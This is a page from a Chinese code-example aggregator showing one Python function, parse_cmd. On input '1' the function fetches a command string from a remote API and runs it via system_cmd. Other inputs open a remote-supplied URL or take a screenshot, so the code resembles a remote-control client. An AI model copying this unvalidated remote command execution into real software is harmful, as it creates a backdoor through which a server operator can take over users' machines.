本文整理汇总了Python中commands.Commands.system_cmd方法的典型用法代码示例。如果您正苦于以下问题:Python Commands.system_cmd方法的具体用法?Python Commands.system_cmd怎么用?Python Commands.system_cmd使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类commands.Commands
的用法示例。
在下文中一共展示了Commands.system_cmd方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: parse_cmd
# 需要导入模块: from commands import Commands [as 别名]
# 或者: from commands.Commands import system_cmd [as 别名]
def parse_cmd(inp, key):
"""
This function validates the data we received from the API
and delegates the appropriate responses to that data.
"""
# First check if inp can be parsed as an integer
try:
int(inp)
print(inp)
except:
print('Input was not an integer :)')
return
commands = Commands()
if inp == '1':
print('input 1')
message = communication.getdata(cfg.P_BASE, cfg.P_COMMAND, key)
commands.system_cmd(message)
elif inp == '2':
url_to_open = communication.getdata(cfg.P_BASE, cfg.P_COMMAND, key)
commands.open_webbrowser(url_to_open)
elif inp == '3':
url_to_open = communication.getdata(cfg.P_BASE, cfg.P_COMMAND, key)
screenshot = Screenshot()
screenshot.snap()